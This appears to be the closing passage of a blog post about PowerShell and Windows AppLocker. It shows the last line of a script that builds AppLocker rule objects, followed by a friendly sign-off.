[AppLockerRule]::new($rules.EnforcementMode, $rules.Type, $rule)
}
}
}
Cheers, and enjoy!


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